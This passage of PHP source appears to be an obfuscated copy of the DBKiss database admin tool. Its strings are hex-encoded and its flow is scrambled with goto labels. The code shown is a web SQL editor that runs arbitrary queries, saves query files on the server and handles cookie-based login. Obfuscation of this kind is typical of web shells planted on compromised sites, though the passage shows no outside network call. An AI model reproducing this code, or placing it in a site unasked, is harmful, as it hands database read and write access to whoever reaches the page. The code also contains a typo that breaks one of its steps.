@db_one("\x53\105\x4c\x45\x43\124\40\103\x4f\x55\116\x54\x28\52\x29\40\106\122\x4f\115\40\x28{$base_query}\51\x20\x41\x53\40\x73\165\142"); if (!is_numeric($found) || count($rows) && !$found) { global $COUNT_ERROR; $COUNT_ERROR = "\x20\50\103\117\125\x4e\124\40\105\122\x52\117\x52\x29\x20"; $found = count($rows); } } else { if (count($rows)) { $found = count($rows); } else { $found = false; } } if ($limit) { $pages = ceil($found / $limit); } else { $pages = 1; } $time = time_end($time); } else { $ret["\x65\162\162\157\x72"] = db_error(); return $ret; } } else { $ret["\145\x72\162\157\x72"] = "\x4e\157\x20\161\165\x65\162\x79\x20\x66\x6f\165\156\144\x2e"; return $ret; } ob_start(); if (is_numeric($found)) { ?>
<p>Found: <b><?php  echo $found; ?>
</b><?php  echo isset($GLOBALS["\x43\x4f\x55\116\x54\137\105\122\122\117\x52"]) ? $GLOBALS["\103\117\x55\x4e\x54\137\x45\122\122\117\x52"] : ''; ?>
. Time: <b><?php  echo $time; ?>
</b>sec.<?php  $params = array("\x6d\x64\x35" => $md5_get, "\x6f\146\x66\163\x65\164" => $_GET["\x6f\x66\x66\163\x65\164"]); if ($_GET["\157\156\x6c\x79\137\x73\145\154\x65\143\x74"] || $_POST["\157\x6e\x6c\171\x5f\163\145\154\x65\143\164"]) { $params["\157\x6e\x6c\x79\137\x73\x65\154\145\143\164"] = 1; } if ($_GET["\146\165\154\154\x5f\x63\x6f\x6e\x74\145\x6e\164"] || $_POST["\x66\x75\x6c\x6c\x5f\143\x6f\x6e\164\145\x6e\164"]) { $params["\x66\165\x6c\154\137\x63\x6f\156\x74\x65\x6e\164"] = 1; } ?>
/ <a href="<?php  echo url(self(), $params); ?>
">Refetch</a> / Export to CSV: <a href="<?php  echo $_SERVER["\x50\110\x50\x5f\123\x45\x4c\106"]; ?>
?export=csv&separator=<?php  echo urlencode("\x7c"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">pipe</a> - <a href="<?php  echo $_SERVER["\120\x48\120\x5f\x53\105\x4c\x46"]; ?>
?export=csv&separator=<?php  echo urlencode("\11"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">tab</a> - <a href="<?php  echo $_SERVER["\120\110\120\x5f\x53\x45\114\x46"]; ?>
?export=csv&separator=<?php  echo urlencode("\54"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">comma</a> - <a href="<?php  echo $_SERVER["\x50\110\x50\137\x53\105\114\106"]; ?>
?export=csv&separator=<?php  echo urlencode("\73"); ?>
&query=<?php  echo base64_encode($base_query); ?>
">semicolon</a></p><?php  } else { ?>
<p>Result: <b>OK</b>. Time: <b><?php  echo $time; ?>
</b>sec</p><?php  } if (is_numeric($found)) { if ($pages > 1) { ?>
<p><?php  if ($page > 1) { $ofs = ($page - 1) * $limit - $limit; $params = array("\155\x64\65" => $md5_get, "\x6f\146\x66\163\145\x74" => $ofs); if ($_GET["\157\156\154\171\137\x73\145\x6c\145\x63\164"] || $_POST["\x6f\156\154\x79\137\163\x65\154\145\143\x74"]) { $params["\x6f\x6e\154\x79\137\x73\x65\154\x65\x63\164"] = 1; } ?>
<a href="<?php  echo url(self(), $params); ?>
">&lt;&lt; Prev</a><?php  } ?>
Page <b><?php  echo $page; ?>
</b>of <b><?php  echo $pages; ?>
</b><?php  if ($pages > $page) { $ofs = $page * $limit; $params = array("\x6d\144\65" => $md5_get, "\157\x66\x66\x73\x65\164" => $ofs); if ($_GET["\x6f\156\x6c\171\x5f\163\x65\x6c\145\143\164"] || $_POST["\x6f\156\154\x79\x5f\x73\145\x6c\145\x63\x74"]) { $params["\157\x6e\154\171\137\x73\145\x6c\x65\143\164"] = 1; } ?>
<a href="<?php  echo url(self(), $params); ?>
">Next >></a><?php  } ?>
</p><?php  } if ($found) { $edit_table = table_from_query($base_query); if ($edit_table) { $edit_pk = array_first_key($rows[0]); if (is_numeric($edit_pk)) { $edit_table = false; } } if ($edit_table) { $types = table_columns($edit_table); if ($types && count($types)) { if (in_array($edit_pk, array_keys($types))) { if (!array_col_match_unique($rows, $edit_pk, "\x23\x5e\134\x64\x2b\x24\x23")) { $edit_pk = guess_pk($rows); if (!$edit_pk) { $edit_table = false; } } } else { $edit_table = false; } } else { $edit_table = false; } } $edit_url = ''; if ($edit_table) { $edit_url = url(self(true), array("\141\143\x74\x69\x6f\x6e" => "\x65\144\151\164\x72\157\x77", "\164\141\x62\x6c\x65" => $edit_table, "\x70\153" => $edit_pk, "\151\144" => "\45\163")); } ?>
<table cellspacing="1"class="ls"><tr><?php  if ($edit_url) { ?>
<th>#</th><?php  } foreach ($rows[0] as $col => $v) { ?>
<th><?php  echo $col; ?>
</th><?php  } ?>
</tr><?php  foreach ($rows as $row) { ?>
<tr onclick="mark_row(this,event)"><?php  if ($edit_url) { ?>
<td valign="top"><a href="javascript:void(0)"onclick='popup("<?php  echo sprintf($edit_url, $row[$edit_pk]); ?>
",<?php  echo EDITROW_POPUP_WIDTH; ?>
,<?php  echo EDITROW_POPUP_HEIGHT; ?>
)'>Edit</a></td><?php  } $count_cols = 0; foreach ($row as $v) { $count_cols++; } foreach ($row as $k => $v) { if (preg_match("\x23\x5e\134\163\52\74\141\133\136\x3e\135\x2b\x3e\x5b\x5e\74\135\x2b\74\x2f\x61\x3e\x5c\x73\52\x24\x23\151\x55", $v) && strlen(strip_tags($v)) < 50) { $v = strip_tags($v, "\74\x61\76"); $v = create_links($v); } else { $v = strip_tags($v); $v = str_replace("\46\x6e\x62\163\x70\73", "\40", $v); $v = preg_replace("\x23\x5b\40\x5d\x2b\43", "\40", $v); $v = create_links($v); if (!$full_content && strlen($v) > 50) { if (1 == $count_cols) { $v = truncate_html($v, 255); } else { $v = truncate_html($v, 50); } } } if ($full_content) { $v = str_wrap($v, 80, "\x3c\142\x72\76", true); } if ($full_content) { $v = nl2br($v); } if (isset($types[$k]) && $types && $types[$k] == "\151\156\164" && IsTimestampColumn($k, $v)) { $tmp = date("\131\x2d\x6d\x2d\x64\x20\x48\x3a\x69", $v); if ($tmp) { $v = $tmp; } } ?>
<td nowrap<?php  echo $full_content ? "\166\x61\x6c\151\147\156\x3d\x22\164\157\x70\x22" : ''; ?>
><?php  echo is_null($row[$k]) ? "\x2d" : $v; ?>
</td><?php  } ?>
</tr><?php  } ?>
</table><?php  } if ($pages > 1) { ?>
<p><?php  if ($page > 1) { $ofs = ($page - 1) * $limit - $limit; $params = array("\155\x64\x35" => $md5_get, "\157\146\146\163\x65\x74" => $ofs); if ($_GET["\x6f\x6e\x6c\x79\x5f\163\x65\x6c\145\143\164"] || $_POST["\157\x6e\x6c\x79\137\163\x65\x6c\x65\x63\x74"]) { $params["\157\156\154\x79\137\163\x65\x6c\x65\143\164"] = 1; } ?>
<a href="<?php  echo url(self(), $params); ?>
">&lt;&lt; Prev</a><?php  } ?>
Page <b><?php  echo $page; ?>
</b>of <b><?php  echo $pages; ?>
</b><?php  if ($pages > $page) { $ofs = $page * $limit; $params = array("\155\x64\65" => $md5_get, "\157\146\146\x73\x65\x74" => $ofs); if ($_GET["\157\x6e\x6c\x79\x5f\163\x65\x6c\x65\143\164"] || $_POST["\x6f\156\154\x79\137\163\145\x6c\x65\x63\x74"]) { $params["\157\156\154\x79\x5f\163\x65\154\145\x63\164"] = 1; } ?>
<a href="<?php  echo url(self(), $params); ?>
">Next >></a><?php  } ?>
</p><?php  } } $cont = ob_get_contents(); ob_end_clean(); $ret["\144\141\x74\141\x5f\x68\164\155\154"] = $cont; return $ret; } set_time_limit(0); $msg = ''; $error = ''; $top_html = ''; $data_html = ''; $template = GET("\164\145\x6d\160\x6c\x61\x74\x65", "\x73\164\x72\151\156\x67"); GET("\x70\x6f\x70\x75\x70", "\x62\x6f\x6f\154"); GET("\155\144\x35", "\x73\x74\x72\x69\x6e\x67"); GET("\146\x75\x6c\x6c\x5f\x63\x6f\156\x74\x65\x6e\164", "\x62\157\x6f\154"); GET("\x6f\156\x6c\x79\137\163\x65\x6c\145\143\164", "\142\157\157\x6c"); POST("\x73\161\154", "\163\x74\162\151\x6e\x67"); POST("\160\145\162\146\157\162\155", "\163\x74\x72\151\x6e\x67"); POST("\157\x6e\154\x79\x5f\x73\145\154\145\143\x74", "\142\157\x6f\x6c"); POST("\x66\x75\154\154\137\143\157\156\x74\145\x6e\164", "\142\157\x6f\x6c"); POST("\163\141\166\x65\137\141\163", "\x73\164\x72\151\156\147"); POST("\x6c\157\141\x64\x5f\146\x72\x6f\x6d", "\x73\164\162\x69\x6e\147"); if ($_GET["\x6d\144\x35"]) { $_GET["\157\156\x6c\171\137\163\x65\154\x65\143\164"] = true; $_GET["\157\156\x6c\x79\137\163\145\x6c\x65\143\164"] = true; } if ($_GET["\x6f\x6e\154\x79\x5f\163\145\154\x65\143\164"]) { $_POST["\x6f\156\154\x79\137\163\145\154\145\143\x74"] = 1; } $sql_dir = false; if (defined("\x44\x42\x4b\x49\123\x53\x5f\x53\121\x4c\x5f\104\x49\122")) { $sql_dir = DBKISS_SQL_DIR; } if ($sql_dir) { if (!(dir_exists($sql_dir) && is_writable($sql_dir))) { if (!dir_exists($sql_dir) && is_writable("\x2e")) { mkdir($sql_dir); } else { die("\x59\157\x75\x20\x6d\165\x73\164\x20\x63\162\x65\141\164\145\40\x22" . $sql_dir . "\42\40\x64\151\162\145\x63\x74\157\162\171\40\x77\151\x74\x68\40\167\x72\151\164\x65\x20\160\145\162\x6d\x69\163\x73\151\157\156\x2e"); } } if (!file_exists($sql_dir . "\x2f\x2e\x68\164\141\143\143\145\163\163")) { file_put($sql_dir . "\57\x2e\x68\164\x61\143\x63\145\163\x73", "\144\145\156\171\40\146\162\157\x6d\x20\x61\x6c\154"); } if (!file_exists($sql_dir . "\57\151\x6e\144\145\170\x2e\x68\164\x6d\x6c")) { file_put($sql_dir . "\x2f\x69\x6e\144\145\x78\56\x68\x74\x6d\x6c", ''); } } if ("\x47\x45\x54" == $_SERVER["\122\105\121\125\105\123\x54\137\115\x45\x54\x48\x4f\104"]) { if ($sql_dir) { if ($_GET["\x6d\144\x35"] && preg_match("\43\136\50\x5c\167\173\63\x32\x2c\63\x32\175\x29\x5f\x28\134\x64\x2b\x29\x24\x23", $_GET["\x6d\x64\65"], $match)) { $md5_i = $match[2]; $md5_tmp = sprintf($sql_dir . "\57\x7a\x7a\x7a\137\45\x73\x2e\144\141\164", $match[1]); $_POST["\163\x71\x6c"] = file_get_contents($md5_tmp); $_SERVER["\x52\105\121\125\105\x53\124\x5f\115\105\x54\x48\x4f\x44"] = "\120\x4f\x53\x54"; $_POST["\160\x65\x72\x66\157\162\155"] = "\145\170\145\143\x75\164\x65"; } else { if ($_GET["\155\144\x35"] && preg_match("\x23\x5e\x28\134\x77\173\x33\x32\x2c\63\62\175\x29\44\43", $_GET["\x6d\144\x35"], $match)) { $md5_tmp = sprintf($sql_dir . "\57\x7a\x7a\x7a\x5f\45\x73\56\144\x61\x74", $match[1]); $_POST["\x73\161\x6c"] = file_get_contents($md5_tmp); $_GET["\x6d\144\x35"] = ''; } else { if ($_GET["\155\x64\65"]) { trigger_error("\x69\156\166\x61\x6c\x69\144\x20\155\x64\65", E_USER_ERROR); } } } } } else { $_GET["\155\x64\x35"] = ''; } $_POST["\x73\x71\x6c"] = trim($_POST["\163\x71\x6c"]); $md5 = md5($_POST["\x73\161\154"]); $md5_file = sprintf($sql_dir . "\x2f\x7a\172\x7a\x5f\45\x73\x2e\x64\x61\164", $md5); if ($sql_dir && $_POST["\163\x71\154"]) { file_put($md5_file, $_POST["\x73\x71\154"]); } if ($sql_dir && "\163\x61\166\x65" == $_POST["\160\145\162\x66\157\x72\x6d"] && $_POST["\x73\141\x76\x65\137\x61\x73"] && $_POST["\x73\161\x6c"]) { $_POSAT["\x73\x61\166\145\137\141\163"] = str_replace("\x2e\163\x71\154", '', $_POST["\163\141\166\x65\x5f\x61\163"]); if (preg_match("\43\136\133\134\x77\40\135\x2b\44\43", $_POST["\x73\x61\x76\145\x5f\141\x73"])) { $file = $sql_dir . "\57" . $_POST["\x73\x61\166\145\137\141\163"] . "\56\163\161\x6c"; $overwrite = ''; if (file_exists($file)) { $overwrite = "\x20\x2d\x20\x3c\142\x3e\x6f\x76\x65\162\167\162\151\x74\164\145\x6e\74\57\142\x3e"; $bak = $sql_dir . "\57\x7a\172\x7a\x5f" . $_POST["\x73\141\166\145\x5f\x61\x73"] . "\x5f" . md5(file_get_contents($file)) . "\x2e\x64\x61\x74"; copy($file, $bak); } $msg .= sprintf("\74\144\151\x76\76\x53\x71\x6c\40\163\x61\x76\x65\144\x3a\x20\x25\163\40\x25\163\x3c\57\144\x69\x76\x3e", basename($file), $overwrite); file_put($file, $_POST["\163\161\154"]); } else { error("\x53\141\x76\x69\156\147\x20\163\161\x6c\40\146\x61\151\x6c\145\144\x3a\40\157\x6e\x6c\171\x20\141\154\x70\150\x61\x6e\x75\155\145\162\151\x63\40\x63\150\141\x72\163\40\x61\x72\145\40\141\154\x6c\157\167\145\x64"); } } if ($sql_dir) { $load_files = dir_read($sql_dir, null, array("\56\163\161\x6c"), "\144\x61\x74\145\137\144\x65\163\143"); } $load_assoc = array(); if ($sql_dir) { foreach ($load_files as $file) { $file_path = $file; $file = basename($file); $load_assoc[$file] = "\50" . substr(file_date($file_path), 0, 10) . "\x29" . "\x20" . $file; } } if ($sql_dir && "\x6c\x6f\141\x64" == $_POST["\160\145\162\x66\157\162\155"]) { $file = $sql_dir . "\x2f" . $_POST["\154\x6f\141\x64\137\146\162\157\x6d"]; if (array_key_exists($_POST["\x6c\x6f\141\144\x5f\x66\162\157\155"], $load_assoc) && file_exists($file)) { $msg .= sprintf("\74\144\x69\x76\x3e\123\161\154\x20\x6c\x6f\141\x64\145\144\x3a\x20\x25\x73\x20\50\45\163\51\x3c\57\x64\151\166\76", basename($file), timestamp(file_date($file))); $_POST["\x73\x71\x6c"] = file_get_contents($file); $_POST["\163\x61\x76\145\137\141\163"] = basename($file); $_POST["\x73\141\166\145\x5f\141\163"] = str_replace("\x2e\x73\161\154", '', $_POST["\x73\x61\x76\x65\x5f\141\x73"]); } else { error("\x3c\x64\x69\166\x3e\x46\151\154\x65\40\156\157\164\x20\x66\x6f\165\156\x64\72\40\45\163\74\x2f\x64\x69\x76\x3e", $file); } } $md5 = md5($_POST["\163\x71\154"]); if ($sql_dir && "\154\157\x61\144" == $_POST["\x70\145\162\146\157\162\x6d"] && !error()) { $md5_tmp = sprintf($sql_dir . "\57\x7a\x7a\172\137\x25\x73\x2e\x64\x61\x74", $md5); file_put($md5_tmp, $_POST["\x73\161\x6c"]); } $is_sel = false; $queries = preg_split("\x23\x3b\50\x5c\163\x2a\x2d\x2d\x5b\40\11\x5c\123\135\52\51\77\x28\xd\12\174\12\174\xd\51\43\125", $_POST["\x73\x71\x6c"]); foreach ($queries as $k => $query) { $query = query_strip($query); if (0 === strpos($query, "\100")) { $is_sel = true; } $queries[$k] = $query; if (!trim($query)) { unset($queries[$k]); } } $sql_assoc = array(); $sql_selected = false; $i = 0; $params = array("\x6d\144\65" => $md5, "\157\x6e\154\171\137\x73\145\x6c\x65\143\x74" => $_GET["\157\156\x6c\x79\x5f\x73\x65\154\x65\x63\x74"] || $_POST["\157\x6e\x6c\171\x5f\163\x65\154\x65\x63\164"], "\x66\x75\154\154\137\143\157\156\x74\145\156\164" => $_GET["\146\165\x6c\x6c\x5f\x63\157\156\164\x65\x6e\x74"] || $_POST["\x66\165\x6c\x6c\137\x63\157\x6e\x74\x65\156\164"], "\x6f\146\146\163\145\164" => ''); $sql_main_url = url(self(), $params); foreach ($queries as $query) { $i++; $query = preg_replace("\x23\136\100\x23", '', $query); if (!is_select($query) && !is_show($query)) { continue; } $query = preg_replace("\43\134\163\53\x23", "\x20", $query); $params = array("\155\144\x35" => $md5 . "\x5f" . $i, "\x6f\x6e\x6c\x79\x5f\x73\x65\x6c\145\143\164" => $_GET["\x6f\x6e\154\x79\x5f\163\145\x6c\145\x63\164"] || $_POST["\157\x6e\x6c\171\x5f\163\145\154\x65\x63\164"], "\x66\165\x6c\x6c\137\x63\x6f\x6e\x74\x65\x6e\x74" => $_GET["\146\165\x6c\154\137\x63\157\156\164\x65\x6e\164"] || $_POST["\x66\165\154\x6c\x5f\143\x6f\156\x74\x65\156\x74"], "\157\146\146\163\x65\164" => ''); $url = url(self(), $params); if ($_GET["\x6d\144\65"] && $_GET["\155\144\x35"] == $params["\x6d\144\65"]) { $sql_selected = $url; } $sql_assoc[$url] = str_truncate(strip_tags($query), 80); } if ("\120\117\x53\x54" == $_SERVER["\122\105\121\x55\105\x53\124\x5f\x4d\x45\124\x48\x4f\x44"]) { if (!$_POST["\160\x65\x72\x66\157\162\x6d"]) { $error = "\116\157\40\x61\143\164\x69\x6f\x6e\x20\163\145\x6c\x65\143\164\x65\144\56"; } if (!$error) { $time = time_start(); switch ($_POST["\x70\x65\x72\146\157\x72\x6d"]) { case "\x65\x78\145\x63\165\164\145": $i = 0; db_begin(); $commit = true; foreach ($queries as $query) { $i++; if ($is_sel) { if (0 === strpos($query, "\100")) { $query = substr($query, 1); } else { if (!$_GET["\x6d\x64\65"]) { continue; } } } if ($_POST["\157\x6e\x6c\x79\x5f\163\x65\154\145\x63\x74"] && !is_select($query) && !is_show($query)) { continue; } if ($_GET["\155\x64\x35"] && $i != $md5_i) { continue; } if ($_GET["\x6d\144\x35"] && $i == $md5_i) { if (!is_select($query) && !is_show($query)) { trigger_error("\156\157\x74\x20\x73\x65\154\x65\x63\164\x20\161\x75\x65\162\171", E_USER_ERROR); } } $exec = listing($query, $md5 . "\137" . $i); $query_trunc = str_truncate(html_once($query), 1000); $query_trunc = query_color($query_trunc); $query_trunc = nl2br($query_trunc); $query_trunc = html_spaces($query_trunc); if ($exec["\145\x72\x72\157\162"]) { $exec["\x65\162\162\157\162"] = preg_replace("\43\x65\162\162\x6f\162\72\x23\x69", '', $exec["\145\162\x72\157\162"]); $top_html .= sprintf("\74\144\x69\166\40\163\164\171\x6c\145\x3d\x22\142\141\143\153\x67\162\157\165\156\144\x3a\x20\x23\x66\x66\146\146\x64\67\x3b\40\160\x61\144\144\x69\156\147\x3a\40\x30\x2e\x35\145\x6d\73\40\142\157\x72\x64\x65\162\x3a\x20\x23\143\x63\143\x20\61\x70\170\40\x73\157\x6c\x69\144\73\40\155\x61\162\147\x69\x6e\55\142\x6f\x74\164\157\x6d\72\40\x31\145\155\73\x20\155\x61\x72\x67\151\156\x2d\164\x6f\x70\72\x20\61\x65\x6d\73\42\x3e\74\x62\40\x73\164\x79\154\x65\75\42\x63\157\154\157\x72\72\x72\145\144\x22\x3e\105\162\162\157\x72\74\57\142\x3e\x3a\40\45\163\x3c\144\151\166\x20\163\164\x79\154\x65\x3d\x22\155\141\162\x67\x69\156\55\x74\157\160\72\x20\x30\56\x32\65\145\x6d\73\42\76\74\x62\x3e\121\165\x65\x72\171\40\45\163\x3c\57\142\76\x3a\40\x25\163\74\57\x64\151\166\76\x3c\x2f\x64\151\166\x3e", $exec["\x65\162\162\157\x72"], $i, $query_trunc); $commit = false; break; } else { $query_html = sprintf("\x3c\144\x69\166\x20\x63\x6c\141\x73\163\75\x22\x71\165\x65\162\171\42\x3e\x3c\x62\x20\x73\164\171\x6c\x65\75\42\x66\x6f\156\164\55\163\x69\172\x65\x3a\40\61\x30\x70\170\73\42\76\121\x75\x65\162\171\40\x25\163\x3c\x2f\142\x3e\72\x3c\144\151\166\x20\163\x74\171\x6c\145\75\x22" . $sql_font . "\40\x6d\141\162\x67\x69\156\55\x74\x6f\160\72\x20\60\56\x33\x35\x65\x6d\x3b\42\x3e\x25\163\74\57\144\x69\166\x3e\x3c\57\144\151\x76\76", $i, $query_trunc); $data_html .= $query_html; $data_html .= $exec["\x64\x61\x74\141\x5f\150\x74\155\x6c"]; } } if ($commit) { db_end(); } else { db_rollback(); } break; } $time = time_end($time); } } rawlayout_start("\123\x51\x4c\x20\x45\x64\151\x74\157\162\x20" . ("\x5b" . ($db_name_h1 ? $db_name_h1 : $db_name)) . "\135"); if ($_GET["\x70\157\160\165\160"]) { ?>
<h1>SQL Editor [<span style="<?php  echo $db_name_style; ?>
"><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
</span>]</h1><?php  } else { ?>
<h1><a href="<?php  echo $_SERVER["\120\110\120\x5f\x53\105\x4c\106"]; ?>
"class="blue"style="<?php  echo $db_name_style; ?>
"><?php  echo $db_name_h1 ? $db_name_h1 : $db_name; ?>
</a>> SQL Editor</h1><?php  } echo error(); ?>
<script>function sql_submit(e){return!!e.perform.value.length}function sql_execute(e){e.perform.value="execute",e.submit()}function sql_preview(e){e.perform.value="preview",e.submit()}function sql_save(e){e.perform.value="save",e.submit()}function sql_load(e){return e.load_from.selectedIndex?(e.perform.value="load",e.submit(),!0):(button_clear(e),!1)}</script><?php  if ($msg) { ?>
<div class="msg"><?php  echo $msg; ?>
</div><?php  } echo $top_html; if (count($sql_assoc)) { ?>
<p>SELECT queries: <select name="sql_assoc"onchange="this.value.length&&(location=this.value)"><option value="<?php  echo html_once($sql_main_url); ?>
"></option><?php  echo options($sql_assoc, $sql_selected); ?>
</select></p><?php  } if ($_GET["\155\x64\x35"]) { echo $data_html; } ?>
<form action="<?php  echo $_SERVER["\120\x48\120\137\x53\105\114\x46"]; ?>
?execute_sql=1&popup=<?php  echo $_GET["\x70\x6f\x70\165\160"]; ?>
"method="post"style="margin-top:1em"onsubmit="return sql_submit(this)"><input value=""name="perform"type="hidden"><div style="margin-bottom:.25em"><textarea name="sql"accesskey="s"class="sql_area"id="sql_area"><?php  echo htmlspecialchars(query_upper($_POST["\163\x71\x6c"])); ?>
</textarea></div><table cellspacing="0"cellpadding="0"><tr><td nowrap><input value="Execute"type="button"class="button"wait="1"onclick="sql_execute(this.form)"></td><td nowrap><input value="Preview"type="button"class="button"wait="1"onclick="sql_preview(this.form)"></td><td nowrap><input value="1"name="only_select"type="checkbox"id="only_select"<?php  echo checked($_POST["\x6f\156\154\x79\x5f\x73\145\x6c\145\x63\164"] || $_GET["\x6f\x6e\154\171\x5f\163\x65\x6c\x65\x63\164"]); ?>
></td><td nowrap><label for="only_select">Only SELECT queries</label></td><td nowrap><input value="1"name="full_content"type="checkbox"id="full_content"<?php  echo checked($_POST["\146\x75\x6c\154\137\143\157\156\164\x65\156\164"] || $_GET["\146\165\x6c\154\137\x63\157\156\x74\145\x6e\x74"]); ?>
></td><td nowrap><label for="full_content">Full content</label></td><td nowrap><input value="<?php  echo html_once($_POST["\x73\141\166\145\x5f\141\163"]); ?>
"name="save_as"></td><td nowrap><input value="Save"type="button"class="button"wait="1"onclick="sql_save(this.form)"></td><td nowrap><select name="load_from"style="width:140px"><option value=""></option><?php  echo options($load_assoc); ?>
</select></td><td nowrap><input value="Load"type="button"class="button"wait="1"onclick="return sql_load(this.form)"></td></tr></table></form><?php  if ("\x70\x72\x65\166\x69\145\x77" == $_POST["\160\x65\162\146\x6f\x72\x6d"]) { echo "\74\x68\x32\x3e\120\162\x65\166\x69\x65\167\74\x2f\x68\x32\x3e"; $i = 0; foreach ($queries as $query) { $i++; $query = preg_replace("\43\136\x40\43", '', $query); $query = html_once($query); $query = query_color($query); $query = nl2br($query); $query = html_spaces($query); printf("\74\x64\151\166\x20\143\154\141\x73\163\75\x22\161\165\145\162\x79\42\x3e\74\x62\40\x73\164\171\154\145\x3d\42\146\157\x6e\x74\55\x73\151\x7a\145\72\40\61\60\160\x78\x3b\x22\x3e\x51\x75\x65\x72\171\40\x25\x73\x3c\57\x62\x3e\72\x3c\144\x69\x76\x20\163\164\x79\x6c\145\75\42" . $sql_font . "\40\x6d\141\x72\147\151\156\x2d\x74\x6f\x70\72\40\x30\x2e\63\65\x65\x6d\x3b\x22\x3e\45\163\74\x2f\x64\x69\166\x3e\74\x2f\x64\x69\166\x3e", $i, $query); } } if (!$_GET["\x6d\144\65"]) { ?>
<script>Element("sql_area").focus()</script><?php  echo $data_html; } rawlayout_end(); die; } goto qX3Ts; eJki2: define("\103\117\117\113\111\105\x5f\x53\x45\x53\x53", 0); goto E9Po1; FRiIV: define("\x45\104\111\124\x52\x4f\127\137\120\x4f\120\x55\120\x5f\x48\105\111\x47\x48\124", 600); goto NHb3P; h3xLk: ?>
"class="blue">Search</a> - <a href="<?php  goto MymzL; eSitq: function PDO_Execute($query, $params = null) { global $PDO; if (isset($params)) { $stmt = $PDO->prepare($query); $stmt->execute($params); } else { $PDO->query($query); } } goto danDQ; A7Rq2: function db_bind($q, $dat) { if (false === $dat) { return $q; } if (!is_array($dat)) { $dat = array($dat); } $qBase = $q; $q_search = array("\x27\x25", "\45\x27"); $q_replace = array("\x27\44", "\x24\47"); $q = str_replace($q_search, $q_replace, $q); preg_match_all("\43\x25\134\x77\53\x23", $q, $match); if ($match) { $match = $match[0]; } if (!$match || !count($match)) { return trigger_error("\144\142\137\142\151\x6e\144\x28\x29\x20\146\141\x69\x6c\x65\x64\56\x20\116\x6f\40\142\151\156\144\x69\156\147\x20\153\x65\171\163\40\x66\x6f\x75\x6e\144\x20\x69\x6e\x20\164\x68\x65\x20\161\165\145\x72\171\56", E_USER_ERROR); } $keys = $match; usort($keys, "\144\x62\x5f\163\164\x72\154\x65\156\137\x63\155\160"); $num = array(); foreach ($keys as $key) { $key2 = str_replace("\x25", '', $key); if (is_numeric($key2)) { $num[$key] = true; } if (!array_key_exists($key2, $dat)) { return trigger_error(sprintf("\144\x62\137\142\x69\x6e\144\50\51\x20\146\141\151\154\x65\144\x2e\40\x4e\157\40\x64\x61\164\x61\40\146\x6f\x75\156\144\x20\146\157\x72\x20\x6b\x65\171\72\x20\x25\x73\x2e\x20\x51\x75\x65\x72\171\72\x20\45\x73\x2e", $key, $qBase), E_USER_ERROR); } $q = str_replace($key, db_quote($dat[$key2]), $q); } if (count($num)) { if (count($dat) != count($num)) { return trigger_error("\144\142\x5f\142\x69\x6e\x64\x28\x29\40\146\141\151\x6c\x65\144\56\x20\x57\x68\145\156\40\165\163\151\x6e\x67\x20\x6e\x75\x6d\x65\x72\x69\143\x20\144\x61\x74\x61\x20\x62\x69\156\x64\x69\x6e\147\40\x79\157\165\x20\x6e\145\145\x64\40\x74\157\40\x75\x73\x65\x20\x61\154\x6c\x20\x64\141\x74\x61\40\160\141\163\163\x65\x64\x20\164\x6f\40\x74\150\145\x20\x71\165\x65\162\171\56\40\131\157\x75\x20\x61\154\163\157\x20\143\x61\156\x6e\x6f\164\40\155\151\x78\x20\156\165\x6d\145\162\x69\x63\x20\141\x6e\x64\40\x6e\x61\155\x65\x20\x62\151\156\x64\151\156\x67\x2e", E_USER_ERROR); } } $q = str_replace($q_replace, $q_search, $q); return $q; } goto elK3g; M8IUU: function ht_authenticate() { $p_user = isset($_POST["\150\x74\x5f\x75\x73\145\162"]) ? $_POST["\x68\x74\137\x75\x73\x65\x72"] : null; $p_password = isset($_POST["\x68\164\x5f\160\x61\163\163\x77\157\162\144"]) ? $_POST["\150\x74\137\160\141\x73\163\x77\x6f\x72\x64"] : null; $p_remember = isset($_POST["\x68\x74\137\162\x65\x6d\145\155\142\x65\162"]) ? (bool) $_POST["\150\x74\137\x72\x65\155\145\155\x62\145\x72"] : null; $p_referer = isset($_POST["\150\164\137\162\x65\x66\145\x72\x65\162"]) ? $_POST["\150\x74\137\x72\x65\x66\145\x72\145\x72"] : null; if ("\x50\117\123\x54" == $_SERVER["\x52\105\121\x55\x45\123\124\137\115\105\x54\110\x4f\104"]) { if (strtolower($p_user) == strtolower(HT_USER) && md5($p_password) == HT_PASSWORD) { $time = 0; if ($p_remember) { $time = time() + 3600 * 24 * 14; } if (version_compare(PHP_VERSION, "\x35\x2e\62\x2e\60", "\x3e\75")) { setcookie(HT_PREFIX . "\x68\164\137\x75\163\145\162", HT_USER, $time, HT_PATH, HT_DOMAIN, HT_SECURE, true); setcookie(HT_PREFIX . "\150\164\137\x70\x61\x73\x73\167\157\x72\144", md5($p_password), $time, HT_PATH, HT_DOMAIN, HT_SECURE, true); } else { setcookie(HT_PREFIX . "\x68\x74\x5f\x75\x73\145\x72", HT_USER, $time, HT_PATH, HT_DOMAIN, HT_SECURE); setcookie(HT_PREFIX . "\x68\x74\137\x70\x61\x73\x73\x77\x6f\162\x64", md5($p_password), $time, HT_PATH, HT_DOMAIN, HT_SECURE); } header("\x4c\157\143\141\164\151\157\x6e\x3a\x20" . $p_referer); die; } } else { $p_referer = isset($_SERVER["\110\x54\x54\120\137\122\105\106\x45\x52\x45\122"]) ? $_SERVER["\110\124\124\120\137\x52\105\x46\x45\x52\105\x52"] : ''; if (!$p_referer) { $p_referer = $_SERVER["\122\x45\x51\125\x45\x53\124\137\125\122\111"]; } } ht_loginform(array("\x70\x5f\162\x65\146\x65\x72\145\x72" => $p_referer, "\x70\137\x75\163\145\x72" => $p_user, "\x70\137\162\x65\155\x65\x6d\142\145\162" => $p_remember)); die; } goto ugR3Q; VtWDG: $charset2 = array("\x69\163\157\55\70\x38\65\x39\55\61", "\x69\163\157\x2d\70\70\x35\71\55\x32", "\x75\x74\146\x2d\70", "\x77\151\156\x64\x6f\x77\163\55\x31\x32\x35\60"); goto uj5Vb; FbOEO: $_error = array(); goto CGybR; gZOMe: function PDO_FetchAll($query, $params = null) { global $PDO; if (isset($params)) { $stmt = $PDO->prepare($query); $stmt->execute($params); } else { $stmt = $PDO->query($query); } return $stmt->fetchAll(PDO::FETCH_ASSOC); } goto oBsEx; nUlM2: function table_columns_group($types) { foreach ($types as $k => $type) { if ($type) { preg_match("\x23\x5e\x5c\167\x2b\x23", $type, $match); $type = $match[0]; } else { $type = ''; } $types[$k] = $type; } $types = array_unique($types); $types = array_values($types); $types2 = 